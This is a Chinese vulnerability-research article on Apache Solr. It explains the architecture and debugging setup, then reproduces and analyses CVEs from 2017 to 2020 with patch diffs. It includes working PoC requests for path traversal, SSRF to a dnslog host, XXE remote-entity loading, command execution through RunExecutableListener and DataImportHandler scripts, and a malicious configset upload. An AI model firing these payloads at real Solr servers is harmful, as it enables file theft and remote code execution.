作者:Skay @ QAX CERT
原文鏈接:https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ
前言
Apache Solr是一個開源搜索服務引擎,近年來產生過多個高危漏洞。本文從Solr核心概念、源碼、近五年歷史漏洞、攻擊面概述、廠商防御繞過多個角度力求全面分析Apache Solr組件。
一、組件概述
1.關鍵詞
企業級全文檢索服務器、基于Lucene
2.一些名詞
(1) 數據
結構化數據,與非結構化數據
結構化數據: 用表、字段表示的數據 數據庫適合結構化數據的精確查詢
半結構化數據:xml 、html
非結構化數據: 文本、文檔、圖片、音頻、視頻等
(2)Document
被索引的對象,索引、搜索的基本單元,一個Document由多個字段Field構成
Field、字段名name、字段值value
字段類型type FieldType(這個fieldtype也有很多屬性主要兩個是name 以及 class 用來存放該類型值的類名),Field中包含分析器(Analyzer)、過濾器(Filter)
(3) 索引
對列值創建排序存儲,數據結構={列值、行地址} ,Luncene或者說Solr的索引的創建過程其實就是分詞、存儲到反向索引中
輸入的是蒼老師,想要得到標題或內容中包含“蒼老師”的新聞列表


(4) 搜索引擎
區別于關系數據庫搜索引擎專門解決大量結構化、半結構化數據、非結構化文本類數據的實時檢索問題。 這種類型的搜索實時搜索數據庫做不了。
(5) 搜索引擎工作原理
1、從數據源加載數據,分詞、建立反向索引
2、搜索時,對搜索輸入進行分詞,查找反向索引
3、計算相關性,排序,輸出
(5) zookeeper
zk是分布式系統中的一項協調服務。solr將zk用于三個關鍵操作:
1、集中化配置存儲和分發
2、檢測和提醒集群的狀態改變
3、確定分片代表
(7) Lucene
一套可對大量結構化、半結構化數據、非結構化文本類數據進行實時搜索的專門軟件。最早應用于信息檢索領域,經谷歌、百度等公司推出網頁搜索而為大眾廣知。后又被各大電商網站采用來做網站的商品搜索。現廣泛應用于各行業、互聯網應用。
核心構成:數據源(存儲的數據)、分詞器(英文比較容易,中文兩個常用的 IKAnalyzer、mmseg4j主謂賓等)、反向索引(倒排索引)、相關性計算模型(例如 出現次數這個算簡單的,復雜點的 可能就會加上權重,搜索引擎會提供一種或者多種)
(8) Solr中的Core
運行在Solr服務器中的具體唯一命名的、可管理、可配置的索引,一臺Solr可以托管一個或多個索引。solr的內核是運行在solr服務器中具有唯一命名的、可管理和可配置的索引。一臺solr服務器可以托管一個或多個內核。內核的典型用途是區分不同模式(具有不同字段、不同的處理方式)的文檔。
內核就是索引,為什么需要多個?因為不同的文檔擁有不同的模式(字段構成、索引、存儲方式),商品數據和新聞數據就是兩類完全不同的數據,這就需要兩個內核來索引、存儲它們。
每個內核都有一個 內核實例存放目錄、內核索引數據存放目錄、內核配置文件(solrconfig.xml)、內核模式文件(schema.xml)

(9) Solr中的schema
包含整個架構以及字段和字段類型。用來告訴solr,被索引的文檔由哪些Field組成。讓solr知道集合/內核包含哪些字段、字段的數據類型、字段該索引存儲。
conf/managed-schema 或者 schema.xml
(10) solrconfig.xml
此文件包含與請求處理和響應格式相關的定義和特定于核心的配置,以及索引,配置,管理內存和進行提交。內核配置文件,這個是影響Solr本身參數最多的配置文件。索引數據的存放位置,更新,刪除,查詢的一些規則配置
(11) collection 集合
一個集合由一個或多個核心(分片)組成,SolrCloud引入了集合的概念,集合將索引擴展成不同的分片然后分配到多臺服務器,分布式索引的每個分片都被托管在一個solr的內核中(一個內核對應一個分片唄)。提起SolrCloud,更應該從分片的角度,不應該談及內核。
(12) Solr.xml
它是$ SOLR_HOME目錄中包含Solr Cloud相關信息的文件。 要加載核心,Solr會引用此文件,這有助于識別它們。solr.xml 文件定義了適用于全部或多個內核的全局配置選項
(13) core.properties
代表一個核心,為每個核心定義特定的屬性,例如其名稱、核心所屬的集合、模式的位置以及其他參數
(14) Solr配置集 configset
用于實現多個不同內核之間的配置共享
(15) requestHandler(solrconfig.xml)
請求處理程序,定義了solr接收到請求后該做什么操作。
Solr中處理外部數據都是通過http請求,對外提供http服務,每類服務在solr中都有對應的request handler接收處理數據,solr中有定義了很多內置的請求處理程序,但是我們也可以自己定義,在conf/solrconfig.xml中配置
在 conf/solrconfig.xml中,requestHandler的配置就像我們在web.xml中配置servlet-mapping(或spring mvc 中配置controller 的requestMap)一樣:配置該集合/內核下某個請求地址的處理類
示例 '${dataimporter.last_index_time}'">
(16) Solr中的 文檔、字段、字段分析、模式、分析器、標記器、過濾器
參閱中文文檔
https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html
https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html
3.幾個重要配置文件的詳解
1.Solr.xml
在獨立模式下,solr.xml必須駐留在solr_home(server/solr)。在SolrCloud模式下,將從ZooKeeper加載solr.xml(如果它存在),回退到solr_home。
solr.xml 文件定義了適用于全部或多個內核的全局配置選項。

< solr >標簽是根元素
- adminHandler 屬性,solr默認使用org.apache.solr.handler.admin.CoreAdminHandler
- collectionsHandler 自定義CollectingHandler的實現
- infoHandler 自定義infoHandler實現
- coreLoader 指定分配給此內核的線程數
- coreRootDirectory 指定$SOLR_HOME
- sharedLib 所有內核共享公共庫目錄 此目錄任何jar文件都將被添加到Solr插件的搜索路徑中
- shareSchema 此屬性為true的情況下,共享IndexSchema對象
- configSetBaseDir 指定configSets目錄 默認為$SOLR_HOME/configsets
< solrcloud > 定義了與SolrCloud相關的參數
- distribUpdateConnTimeout 設置集群的connTimeout
- distribUpdateSoTimeout 設置集群的socketTime'out
- host 設置訪問主機名稱
- hostContext url上下文路徑
- hostPort 端口
- zkClientTimeout 連接到ZookKeeper服務器的超時時間
< logging >
- class 屬性 用于記錄的class類,相應的jar必須存在
- enable 是否啟用日志功能
< shardHandlerFactory >分片相關
< metrics > 報告相關
2.core.properties
簡單的key=value,可以這么理解,一個core.properties 就代表一個core,允許即時創建,而不用重啟Solr,配置文件包含以下屬性:
- name core的名稱
- config core的配置文件名稱 默認為solrconfig.xml
- schema 核心架構文件名稱 默認為schema.xml
- dataDir core的數據目錄 可以是據對路徑 也可以是相對于instanceDir的路徑
- configSet configset可用于配置內核
- properties 這個core的文件名稱 可以是絕對路徑也可以是相對路徑
- loadOnstartup true Solr啟動時,會加載這個核心
- ulogDir 日志的路徑
- collection 是SolrCloud的一部分
3.Schema.xml
略
4.Solrconfig.xml
這個文件可以說,在功能上包含了一個core處理的全部配置信息
- < luceneMatchVersion > 指定Luncene版本
- < dataDir > core的data目錄 存放當前core的idnex索引文件和tlog事務日志文件
- < directoryFactory > 索引存儲工廠 配置了一些存儲時的參數 線程等
- < codeFactory > 編解碼方式
- < indexConfig > 配置索引屬性,主要與Luncene創建索引的一些參數,文檔字段最大長度、生成索引時INdexWriter可使用最大線程數、Luncene是否允許文件整合、buffer大小、指定Lucene使用哪個LockFactory等
- < updateHander > 更新處理器 更新增加Document時的update對應什么處理動作在這里配置,在這里也可以自定義更新處理器
- 以及查詢的相關配置
- < requestDispatcher > 請求轉發器 自定義增加在這里配置
- < requestParses > 請求解析器 配置solr的請求解析行為
- < requestHandler > 請求處理器 solr通過requestHandler提供webservice功能,通過http請求對索引進行訪問 可以自定義增加,在這里配置
4.概述
建立在Lucene-core之上,Luncene是一個全文檢索的工具包,它不是一個完整的引擎,Solr將它打包成了一個完整的引擎服務,并對外開放基于http請求的服務以及各種API,還有一個后臺管理界面。所以,它既然是基于Luncene的,所以他的核心功能邏輯就應該和Luncene一樣,給它一個Docunment,Solr進行分詞以及查找反向索引,然后排序輸出。
Solr 的基本前提很簡單。您給它很多的信息,然后你可以問它的問題,找到你想要的信息。您在所有信息中提供的內容稱為索引或更新。當你問一個問題時,它被稱為查詢。
在一些大型門戶網站、電子商務網站等都需要站內搜索功能,使用傳統的數據庫查詢方式實現搜索無法滿足一些高級的搜索需求,比如:搜索速度要快、搜索結果按相關度排序、搜索內容格式不固定等,這里就需要使用全文檢索技術實現搜索功能。
Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基于 HTTP 和 Apache Lucene 實現。Lucene 是一個全文檢索引擎工具包,它是一個 jar 包,不能獨立運行,對外提供服務。Apache Solr 中存儲的資源是以 Document 為對象進行存儲的。NoSQL特性和豐富的文檔處理(例如Word和PDF文件)。每個文檔由一系列的 Field 構成,每個 Field 表示資源的一個屬性。Solr 中的每個 Document 需要有能唯一標識其自身的屬性,默認情況下這個屬性的名字是 id,在 Schema 配置文件中使用:< uniqueKey >id< /uniqueKey >進行描述。Solr是一個獨立的企業級搜索應用服務器,目前很多企業運用solr開源服務。原理大致是文檔通過Http利用XML加到一個搜索集合中。
Solr可以獨立運行,打包成一個war。運行在Jetty、Tomcat等這些Servlet容器中,Solr索引的實現方法很簡單,用 POST 方法向Solr服務器 發送一個描述Field 及其內容的XML文檔,Solr根據xml文檔添加、刪除、更新索引。Solr搜索只需要發送HTTP GET 請求,然后對 Solr 返回Xml、Json等格式的查詢結果進行解析,組織頁面布局。Solr不提供構建UI的功能,Solr提供了一個管理界面,通過管理界面可以查詢Solr的配置和運行情況。
中文文檔:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html
3.使用范圍及行業分布
- 業界兩個最流行的開源搜索引擎,Solr和ElasticSearch。Solr是Apache下的一個頂級開源項目。不少互聯網巨頭,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使用Solr。
- fofa搜索公網資產 一萬 app="APACHE-Solr"
- GitHub Star數量 3.8k
4.重點產品特性
默認全局未授權,多部署于內網,內置zk服務
不可自動升級,需要手動升級修復漏洞
二、環境搭建、動態調試
Solr 所有版本下載地址 http://archive.apache.org/dist/lucene/solr/
1.sorl-4.2.0 環境搭建
1.1 環境搭建
下載solr-4.2.0.zip文件,解壓,C:\Solr\solr-4.2.0\example\start.jar 啟動
java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar

1.2 動態調試
新建idea項目

講solr目錄下所有jar包導入 lib目錄下 add as library
配置遠程調試

斷點成功停住

當然也可以下載solr源碼,idea直接打開,配置Remote,遠程調試,看源碼總是正規的嘛

2.Solr較高版本
2.1 環境搭建
大體同上,只不過啟動時,沒有了start.jar 改為bin目錄下的solr.bat
./solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
solr.cmd start -p 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
PS:這里注意一點,需要jdk8及以上 以及 solr.cmd -f -e dih 加載example 然后solr stop -p 8983 再啟動,加上 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr" 要不然漏洞復現不出來。
solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-8.6.3\example\example-DIH\solr"

2.2 動態調試
下載源碼,配置Remote即可

2.3 PS Cloud模式下的 debug

solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
調試solr的啟動過程
java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar --module=http
創建一個新的核心

在此感謝Whippet師傅!
三、源碼分析
1.Apache Solr架構

(1) Request Handler
Solr 用來處理http請求處理程序的模塊,無論是api又或者是web前臺的,這也是我們漏洞挖掘時需要主要關注的部分
(2) Search Component
Solr的搜索組件,提供搜索功能服務。
(3) Query Parser
Solr查詢解析器解析我們傳遞給Solr的查詢,并驗證查詢是否存在語法錯誤。 解析查詢后,它會將它們轉換為Lucene理解的格式。
(4) Response Writer
Solr處理響應的功能模塊,是為用戶查詢生成格式化輸出的組件。Solr支持XML,JSON,CSV等響應格式。對于每種類型的響應,都有不同的響應編寫器。
(5) Analyzer / tokenizer
Lucene以令牌的形式識別數據。 Apache Solr分析內容,將其劃分為令牌,并將這些令牌傳遞給Lucene。Apache Solr中的分析器檢查字段文本并生成令牌流。標記生成器將分析器準備的標記流分解為標記。
(6) Update Request Processor
每當我們向Apache Solr發送更新請求時,請求都通過一組插件(簽名,日志記錄,索引)運行,統稱為 更新請求處理器 。此處理器負責修改,例如刪除字段,添加字段等
2.目錄結構
1.運行目錄結構
├─bin大量的Solr控制臺管理工具存在該目錄下
├─contrib包含大量關于Solr的擴展
│? ├─analysis-extras該目錄下面包含一些相互依賴的文本分析組件
│? ├─clustering該目錄下有一個用于集群檢索結果的引擎
│? ├─dataimporthandlerDIH組件,該組件可以從數據庫或者其他數據源導入數據到Solr中
│? ├─dataimporthandler-extras包含了對DIH的擴展
│? ├─extraction集成Apache Tika,用于從普通格式文件中提取文本
│? ├─jaegertracer-configurator
│? ├─langid該組件使得Solr擁有在建索引之前識別和檢測文檔語言的能力
│? ├─ltr
│? ├─prometheus-exporter
│? └─velocity包含一個基于Velocity模板語言簡單檢索UI框架
├─distSolr的核心JAR包和擴展JAR包。當我們試圖把Solr嵌入到某個應用程序的時候會用到核心JAR包。
│? ├─solrj-lib包含構建基于Solr的客戶端時會用到的JAR包
│? └─test-framework包含測試Solr時候會用到的JAR包
├─docsSolr文檔
├─exampleSolr的簡單示例
│? ├─cloud
│? ├─example-DIH
│? ├─exampledocs
│? ├─files
│? └─films
├─licenses各種許可和協議
└─server本地把Solr作為服務運行的必要文件都存放在這里
├─contexts啟動Solr的Jetty網頁的上下文配置
├─etcJetty服務器配置文件,在這里可以把默認的8983端口改成其他的
├─libJetty服務器程序對應的可執行JAR包和響應的依賴包
│? └─ext
├─logs日志將被輸出到這個文件夾
├─moduleshttp\https\server\ssl等配置模塊
├─resources存放著Log4j的配置文件
├─scriptsSolr運行的必要腳本
│? └─cloud-scripts
├─solr運行Solr的配置文件都保存在這里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用SolrCloud的時候有用。子文件夾/configsets存放著Solr的示例配置文件。各個生成的core也放在這里 以及configsets等
│? ├─.system_shard1_replica_n1
│? ├─aaa_shard1_replica_n1
│? ├─configsets
│? │? ├─sample_techproducts_configs
│? ├─filestore
│? ├─userfiles
│? └─zoo_data
│? ? ? └─version-2
├─solr-webapp管理界面的站點就存放在這里
│? └─webapp
│? ? ? └─WEB-INF
└─tmp存放臨時文件
├─jetty-0_0_0_0-8983-webapp-_solr-any-7904109470622189110.dir
2.Solr Home目錄結構
單例模式下
<solr-home-directory>
solr.xml
core_name1/
core.properties
conf/
solrconfig.xml
managed-schema
data/
core_name2/
core.properties
conf/
solrconfig.xml
managed-schema
data/
colud模式下
<solr-home-directory>/
solr.xml
core_name1/
core.properties
data/
core_name2/
core.properties
data/
3.源碼結構
├─binSolr控制臺管理工具存在該目錄下
├─contrib包含大量關于Solr的擴展 同安裝目錄中一樣
├─corecore的核心
│? └─src
│? ? ? ├─java.org.apache.solr
│? ? ? │? ? ? ? ? ? ? ├─analysis文本分析處理類,其中沒有很多核心實現,主要調用了lucene重點的核心功能
│? ? ? │? ? ? ? ? ? ? ├─apiSolr對外提供給的API(兩個版本)處理包
│? ? ? │? ? ? ? ? ? ? ├─client.solrj.embeddedSolr中嵌入了jetty,這里存在Jetty的配置類以及嵌入式啟動類
│? ? ? │? ? ? ? ? ? ? ├─cloudSolr在cloud模式下云的的相關處理包,包含zk相關的處理類
│? ? ? │? ? ? ? ? ? ? ├─corecore相關的處理包 solrcore solrinfo CoreDescriptor等
│? ? ? │? ? ? ? ? ? ? ├─filestore文件處理包
│? ? ? │? ? ? ? ? ? ? ├─handler請求程序處理包
│? ? ? │? ? ? ? ? ? ? │? ├─admin
│? ? ? │? ? ? ? ? ? ? │? ├─component
│? ? ? │? ? ? ? ? ? ? │? ├─export
│? ? ? │? ? ? ? ? ? ? │? ├─loader
│? ? ? │? ? ? ? ? ? ? │? ├─sql
│? ? ? │? ? ? ? ? ? ? │? └─tagger
│? ? ? │? ? ? ? ? ? ? ├─highlight solr高亮功能包
│? ? ? │? ? ? ? ? ? ? ├─index
│? ? ? │? ? ? ? ? ? ? ├─internal
│? ? ? │? ? ? ? ? ? ? ├─legacy
│? ? ? │? ? ? ? ? ? ? ├─logging日志功能處理包
│? ? ? │? ? ? ? ? ? ? ├─metrics
│? ? ? │? ? ? ? ? ? ? ├─packagemanager
│? ? ? │? ? ? ? ? ? ? ├─parser解析器包
│? ? ? │? ? ? ? ? ? ? ├─pkg
│? ? ? │? ? ? ? ? ? ? ├─query查詢功能處理
│? ? ? │? ? ? ? ? ? ? ├─request請求前置處理 SolrQueryRequestBase在這里
│? ? ? │? ? ? ? ? ? ? ├─response返回數據處理
│? ? ? │? ? ? ? ? ? ? ├─restrest功能,包含restApi處理邏輯
│? ? ? │? ? ? ? ? ? ? ├─schema模式定義
│? ? ? │? ? ? ? ? ? ? ├─searchsearch功能程序處理包
│? ? ? │? ? ? ? ? ? ? │? ├─join
│? ? ? │? ? ? ? ? ? ? │? ├─mlt
│? ? ? │? ? ? ? ? ? ? │? ├─similarities
│? ? ? │? ? ? ? ? ? ? │? └─stats
│? ? ? │? ? ? ? ? ? ? ├─security安全功能處理包
│? ? ? │? ? ? ? ? ? ? ├─servletServlet Filter Wrpper拓展處理
│? ? ? │? ? ? ? ? ? ? ├─spelling
│? ? ? │? ? ? ? ? ? ? ├─store
│? ? ? │? ? ? ? ? ? ? ├─uninverting
│? ? ? │? ? ? ? ? ? ? ├─update字段索引更新處理邏輯
│? ? ? │? ? ? ? ? ? ? └─util一些工具類
│? ? ? ├─resources
│? ? ? ├─test
│? ? ? └─test-files
├─dev-docs
├─docs
├─example 示例文件
│? ├─example-DIH
│? ├─exampledocs
│? ├─files
│? └─films
├─licenses各種許可和協議
├─server本地把Solr作為服務運行的必要文件都存放在這里
├─contexts啟動Solr的Jetty網頁的上下文配置
├─etcJetty服務器配置文件,在這里可以把默認的8983端口改成其他的
├─libJetty服務器程序對應的可執行JAR包和響應的依賴包
│? └─ext
├─logs日志將被輸出到這個文件夾
├─moduleshttp\https\server\ssl等配置模塊
├─resources存放著Log4j的配置文件
├─scriptsSolr運行的必要腳本
│? └─cloud-scripts
├─solr運行Solr的配置文件都保存在這里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用SolrCloud的時候有用。子文件夾/configsets存放著Solr的示例配置文件。各個生成的core也放在這里 以及configsets等
├─site
├─solr-ref-guide
├─solrjsolr的客戶端程序
└─webapp管理界面的站點就存放在這里
4.啟動過程
避免文章太長,放到這里了https://xz.aliyun.com/t/9247
5.源碼中核心類
避免文章太長,放到這里了https://xz.aliyun.com/t/9248
6.Apache Solr中的路由
路由就直接根據 "/" 或者 ":" 寫死了的,沒有一點兼容性,看路由無非是想看對應哪些可以訪問的handler,直接去Plugins/Stats里看就行,里面對應了每個url的處理類

調試過程中一些關鍵位置

這里的58 是冒號:

反斜杠

下面是調試過程中的一些路由列表



四、漏洞相關
1.漏洞概覽
1.1.漏洞列表
| 名稱 | 編號 | 危害 | 影響版本 | 備注 |
|---|---|---|---|---|
| shards參數SSRF | CVE-2017-3164 | 高危 | 1.4.0-6.4.0 | |
| 任意文件讀取 | CVE-2017-3163 | 高危 | 同3164 | |
| XXE&RCE | CVE-2017-12629 | 高危 | <7.1.0 | |
| XXE | CVE-2018-1308 | 高危 | 1.2至6.6.2和7.0.0至7.2.1 | |
| XXE | CVE-2018-8026 | 高危 | 6.6.4, 7.3.1 | |
| 反序列化RCE | CVE-2019-0192 | 高危 | 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5 | |
| RCE | CVE-2019-0193 | 高危 | < 8.2.0 | |
| RCE | CVE-2019-17558 | 高危 | 5.0.0版本至8.3.1 | 模板注入 |
| 任意文件上傳 | CVE-2020-13957 | 高危 | Solr 8.6.2 之前 |
1.2.漏洞分布與關聯
A.分布
多為擴展組件上出現漏洞
B.關聯
無
1.3.漏洞過去、現在、未來
2.復現及分析
2.1. CVE-2017-3163
2.1.1 復現
poc 如下
GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../a.txt&wt=filestream&generation=1 HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
復現截圖

2.1.2 分析
首先我們diff 下6.4.2 和6.4.0 看一下是怎么修復的

傷心,嘗試了一下繞不過去,直接是在ReplicationHandler中做了過濾,根據之前分析的Solr啟動過程的處理邏輯,再結合poc的url:/solr/db/replication,可以猜到肯定會走到ReplicationHandler的handlerequest方法,所以斷點直接下到這里就可

在沒有修復的版本里,沒有任何過濾

直接讀取了文件
修復之后,針對不同系統的文件分隔符將文件名拆分成一個迭代器,如果發現 ".."存在,就返回403


2.2 CVE-2017-3164
2.2.1 復現
GET /solr/db/replication?command=fetchindex&masterUrl=http://d9rufs.dnslog.cn/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

2.2.2 分析
觀察poc,path沒變還是/db/replication,所以問題仍舊出在org/apache/solr/handler/ReplicationHandler.java 中,但是由于command=fetchindex,command的參數不同,所以會走到不同的處理邏輯,這里會進入最后一個

這里會開啟另一個線程,進入doFetch的處理邏輯

最終會走到觸發的地方

此時的調用棧
getLatestVersion:202, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:286, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:251, IndexFetcher (org.apache.solr.handler)
doFetch:397, ReplicationHandler (org.apache.solr.handler)
lambda$handleRequestBody$0:279, ReplicationHandler (org.apache.solr.handler)
run:-1, 939130791 (org.apache.solr.handler.ReplicationHandler$$Lambda$85)
run:-1, Thread (java.lang)
2.3CVE-2018-1308
2.3.1 復現
POC:
POST /solr/db/dataimport HTTP/1.1
Host: 192.168.170.139:8983
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
command=full-import&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E
%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:7777%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E


2.3.2 分析
看請求的url就知道問題出在org.apache.solr.handler.dataimport.DataImportHandler,結合command以及dataConfig參數,很快可以定位到this.importer.maybeReloadConfiguration(requestParams, defaultParams);

跟進org.apache.solr.handler.dataimport.DataImporter#maybeReloadConfiguration方法

繼續跟進org.apache.solr.handler.dataimport.DataImporter#loadDataConfig,可以發現沒有任何關于XXE的防御處理

修復,這里直接看最新版本的修復,這里的commit同時也修復了CVE-2019-0193,補丁增加了
enable.dih.dataConfigParam(默認為false)只有啟動solr的時候加上參數-Denable.dih.dataConfigParam=true 才會被設置為true。

2.4 CVE-2017-12629
2.4.1 復現
XXE:
http://192.168.33.144:8983/solr/db/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20"http://aaa.mryq4g.dnslog.cn"><a></a>'}&wt=xml

RCE:
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"newSearcher",
"name":"newlistener-1",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
2.4.2 分析
XXE
其實是Lucene出現的漏洞,而Solr又是Lucenne作為核心語義分析引擎,所以受此漏洞影響,具體漏洞點在org.apache.lucene.queryparser.xml.CoreParser#parseXML

可以看見沒有任何關于XMl解析XXE的防御,此時主要調用棧
parseXML:127, CoreParser (org.apache.lucene.queryparser.xml)
parse:115, CoreParser (org.apache.lucene.queryparser.xml)
parse:62, XmlQParserPlugin$XmlQParser (org.apache.solr.search)
getQuery:168, QParser (org.apache.solr.search)
prepare:160, QueryComponent (org.apache.solr.handler.component)
handleRequestBody:269, SearchHandler (org.apache.solr.handler.component)
handleRequest:166, RequestHandlerBase (org.apache.solr.handler)
execute:2306, SolrCore (org.apache.solr.core)
execute:658, HttpSolrCall (org.apache.solr.servlet)
call:464, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:296, SolrDispatchFilter (org.apache.solr.servlet)
修復,增加了XXE的通用防御

RCE:
這個都不太想調試了,問題類方法是org.apache.solr.core.RunExecutableListener#exec

官方修復呢也是直接把這個類刪了

2.5 CVE-2018-8026
上傳configset 解析配置文件xml時造成xxe,具體分析復現移步https://xz.aliyun.com/t/2448
具體看org.apache.solr.schema.FileExchangeRateProvider修復,都換成SafeXMLParsing了

2.6 CVE-2019-0193
2.6.1 復現

POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("calc");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
2.6.2 分析
同樣是DataImportHandler出問題
進入到Dataimport功能頁面,開啟debug,默認給出了如下xml

<dataConfig>
<dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />
<document>
<entity name="item" query="select * from item"
deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
<field column="NAME" name="name" />
<entity name="feature"
query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
<field name="features" column="DESCRIPTION" />
</entity>
<entity name="item_category"
query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
<entity name="category"
query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
<field column="DESCRIPTION" name="cat" />
</entity>
</entity>
</entity>
</document>
</dataConfig>
entity?標簽中支持執行script,且支持jndi,也就是漏洞觸發的地方,具體dataimport支持的功能參閱官方文檔https://solr.apache.org/guide/8_6/uploading-structured-data-store-data-with-the-data-import-handler.html

補丁增加了
enable.dih.dataConfigParam(默認為false)只有啟動solr的時候加上參數-Denable.dih.dataConfigParam=true 才會被設置為true。利用失敗如下

2.7 CVE-2019-0192
2.7.1 復現
https://github.com/mpgn/CVE-2019-0192/
2.7.2 分析
Solr支持動態的更新配置,但是更新的并不是Solrconfig.xml 而是configoverlay.json
官方文檔參考如下
Config API可以使用類似REST的API調用來處理您的solrconfig.xml的各個方面。 此功能默認啟用,并且在SolrCloud和獨立模式下的工作方式類似。許多通常編輯的屬性(如緩存大小和提交設置)和請求處理程序定義可以使用此API進行更改。 使用此API時,solrconfig.xml不會更改。相反,所有編輯的配置都存儲在一個名為configoverlay.json的文件中。該configoverlay.json中值覆蓋solrconfig.xml中的值。
所以加載core的時候自然會加載configoverlay.json文件,問題也出在這里,精心構造的configoverlay.json可以觸發org.apache.solr.core.SolrConfig的危險構造方法
public SolrConfig(SolrResourceLoader loader, String name, InputSource is) throws ParserConfigurationException, IOException, SAXException {......}

進而觸發org.apache.solr.core.SolrCore#initInfoRegistry

修復,新版本直接不支持jmx

2.8 CVE-2019-17558
2.8.1 復現


2.8.2 分析
Velocity模板引擎注入首先觸發的話,需要通過config api開啟模板引擎開關params.resource.loader.enabled,Solr提供給管理員方便管理的配置api,正常功能,由于Solr默認安裝為未授權,所以攻擊者可以直接配置
再看下模板命令執行,是返回內容進行模板渲染的時候發生的代碼注入
org.apache.solr.servlet.HttpSolrCall#writeResponse

org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse

最后進入到模板引擎渲染階段org.apache.solr.response.VelocityResponseWriter#write

此時部分調用炸
write:151, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:732, HttpSolrCall (org.apache.solr.servlet)
call:473, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
2.9 CVE-2020-13957
官方API參考文檔
https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api

首先準備配置文件
docker cp c3:/opt/solr-8.2.0/server/solr/configsets/_default/conf ./
修改solrconfig.xml velocity.params.resource.loader.enabled:false 為true

目錄如下

壓縮為zip,通過Configset API上傳到服務器
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sssconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=sssConfigSet"

配置文件上傳成功

通過API創建新的collecton,或者從前臺創建也可

創建成功

執行命令

其實是官方正常功能
2.10 全版本任意文件讀取(官方拒絕修復)
默認安裝未授權情況下,各項配置皆為默認
下載Solr最新版本
